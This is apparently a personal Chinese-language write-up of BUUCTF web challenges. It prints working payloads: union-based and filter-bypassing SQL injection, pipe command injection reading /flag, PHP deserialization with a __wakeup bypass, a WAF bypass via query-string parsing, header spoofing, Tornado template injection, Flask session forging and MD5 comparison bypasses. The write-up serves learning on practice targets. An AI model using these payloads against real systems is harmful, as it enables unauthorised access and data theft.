CTF刷题记录(三)
[极客大挑战 2019]LoveSQL
都输入admin’ or 1=1 # ,回显
存在注入漏洞,抓包,进行注入
admin' order by 3#有回显
admin' order by 4#回显错误,说明有3个注入点
1' union select 1,2,3 #确认回显位置可以是2,3
1' union select 1,2,database() #查库
1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() #查表
根据题目名提示,flag应该在第二个表,查列
1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
查字段1' union select 1,2,group_concat(id,username,password)from l0ve1ysq1#得到flag
[网鼎杯 2020 青龙组]AreUSerialz
题目给出源码
Get方式获取str参数,判断str里全是可打印字符(32-125),然后对str进行反序列化
查看所有函数,若要执行文件包含,则要执行read()函数,传入filename参数,并执行file_get_contents
,回去文件内容
要执行read()则要满足process()里的条件,令op=2
要使执行process()函数且op=2则需要构造filehandler类对象
,op赋值为2,filename传入文件包含的构造参数,执行构造函数则能执行process()
整个流程
:
创造一个op=2,filename=”文件包含参数”的filehandler对象,执行构造函数中的process(),op=2则执行read(),read()传入filename并执行file_get_contents函数,读取文件内容
文件包含参数选择使用伪协议读取
filename="php://filter/read=convert.base64-encode/resource=flag.php"
构造playload
这里用到php7.1,对属性类型不敏感,public属性序列化不会出现不可见字符,可以直接采用public而不需要用到protected属性
若使用protected属性,则要在变量面前加上\00*\00,且用大写S表示为字符串
Get方式传入str参数,得到flag的base64编码,解码得flag
[ACTF2020 新生赛]Exec
输入一个ip地址返回ping的结果,当输入|ls有回显,说明存在管道符漏洞
为防止重定向,抓包再直接输入|cat /flag
(|直接执行后者语句),得到flag
[极客大挑战 2019]Http
查看源码发现隐藏的php
进行访问,显示不是来自“https://Sycsecret.buuoj.cn”
, 猜测是否要提供该条件才能获得flag
抓包,请求头缺少Referer
补上Referer:https://Sycsecret.buuoj.cn
后,显示没有使用给定浏览器
改变User-Agent:Syclover
,显示只能本地读取
加上X-Forwarded-For:127.0.0.1
确定请求端ip为本地,返回flag
[RoarCTF 2019]Easy Calc
抓包,查看源码,存在waf,以及calc.php文件
查看calc.php,看到对num的过滤函数
php字符串解析漏洞
:
空格绕过
,当php解析url时,会将数据转化成数组格式,例如
/?foo=bar变成Array([foo] => “bar”)
这个过程会删除一些字符或用下划线替代,例如
/?%20news[id%00=42会转换为Array([news_id] => 42)
由于题目waf是对非数字值的拦截,则可以利用空格绕过,例如
/?%20num=phpinfo()
经过waf检验时,由于空格,waf检验的变量为%20num而非num,但在php解析时空格会被去掉,即解析成num,绕过了检查。
绕过成功,再使用scandir函数
扫描dir目录,利用var_dumo()函数
输出变量值
构造
%20num=var_dump(scandir(/))
因为waf过滤‘/’,用chr(47)绕过
%20num=var_dump(scandir(chr(47)))
找到f1agg目录
再利用file_get_contents()函数
读取文件,文件名/f1agg,同样使用chr绕过‘/’,得到flag
[极客大挑战 2019]PHP
提示有备份网站
对网站进行扫描,发现备份网站
访问备份网站下载文件包,打开文件,给了个假flag
查看所有php文件,存在反序列化漏洞
需要构造name类,使参数username===admin
且password==100
绕过解析函数第一个条件限制,同时还要绕过wakeup函数
构造函数
得到
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
改变参数个数绕过wakeup函数,由于参数是private属性,采用%00
进行绕过
playload: ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
得到falg
[极客大挑战 2019]BabySQL
抓包,进行简单测试,发现过滤了or,采用双写绕过
username=admin'oorr('1'='1')#,password= admin'oorr 1>1#
username=admin'oorrder bbyy 3#双写绕过order by
1'ununionion seselectlect 1,2,3#回显双写绕过union select
1'ununionion seselectlect 1,2,database()#暴库
1'ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata)#双写绕过from和information,发现可以库
1'ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema='ctf'#双写绕过where,查表
1'ununionion seselectlect 1,2,group_concat(column_name)frfromom(infoorrmation_schema.columns) whwhereere table_name='Flag'#查列
1'ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)#查字段
[护网杯 2018]easy_tornado
题目给了三个提示,分别是flag in /fllllllllllllag
,render
,md5(cookie_secret+md5(filename))
分别提示flag所在文件,模板注入,以及filehash计算公式
需要获取cookie_secret值,由于render函数配合tornado使用,在tornado模板中可以快速访问某些对象,通过handler.settings参数,我们可以获得一些环境变量,其中就包含cookie_secret
输入错误的路径参数,返回一个错误页面,存在get传参,也就是模板注入的参数
模板注入请求handler.settings参数,返回cookie_secret
通过脚本利用公式获得filehash值
file?filename=/fllllllllllllag&filehash=af86ca897d78fd6eb99b3cbe61eb3731
得到flag
[HCTF 2018]admin
源码提示不是admin,猜测要登录admin账号才能获得flag
随便注册一个账号后登录,在改密码页面发现题目源码地址
抓包,POST方式上传参数,cookie里有session参数,可以通过伪造session参数
欺骗后台系统
下载源码后,在config.py找到secret_key值用于构造session
通过flask-session-cookie-manager-master
工具解密当前session
再用工具构造name:admin
修改session,上传得flag
[BJDCTF2020]Easy MD5
抓包发现响应包消息头有提示
php中的md5(string,raw)
String::必需。规定要计算的字符串。
Raw: 可选。规定十六进制或二进制输出格式:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数
则题中的md5函数意思是计算$pass输出16字符二进制格式
我们可以通过构造$pass生成一个可执行语句嵌入sql语句当中,使之执行。据网上的资料
ffifdyop通过上述函数运算后得出的结果是'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c对应字符串为'or'6�]��!r,��b,当password=’md5(‘ffifdyop’,true)’时得到的结果是,password=’ 'or'6�]��!r,��b’
在mysql中,布尔判断时会把1开头的字符串当做整型数,当字符串被双单引号括起来的时候是有效的
即'6�]��!r,��b’在布尔判断时会被当成整型数,则整个语句相当于password=’’or true,即判断为真,成为了万能密码
当提交ffifdyop后,密码判断通过,跳转至另一个界面
源码里给出提示,这里get传参a和b,判断a,b不相同,且md5($a)==md5($d)
在php语言中==比较会把字符串转化成相同的类型再进行比较,当数值与字符串进行比较时,会将字符串转化成数值。当"0e123456"=="0e456789"进行比较时,0e字符串会被识别成科学计数法数字,0的多少次方都为0,故判断两字符串相等
故要绕过MD5比较
,寻找两个能生成0e+数字的字符串即可判断为相等
传参a= s214587387a,b= s878926199a
跳转页面
给出的源码,因为post传参数param1和param2两值不相等,且md5值===强比较相等
强比较难以绕过,但是可以通过md5错误返回值
进行判断,即上传一个md5函数不能处理的值,如数组,则md5将返回false,当两边都返回false时,判断位相等
同样,上面的弱比较使用传数组的方法也能通过验证
返回新页面,成功绕过弱比较
在强比较中,post方法传参param1[]=1¶m2[]=2得到flag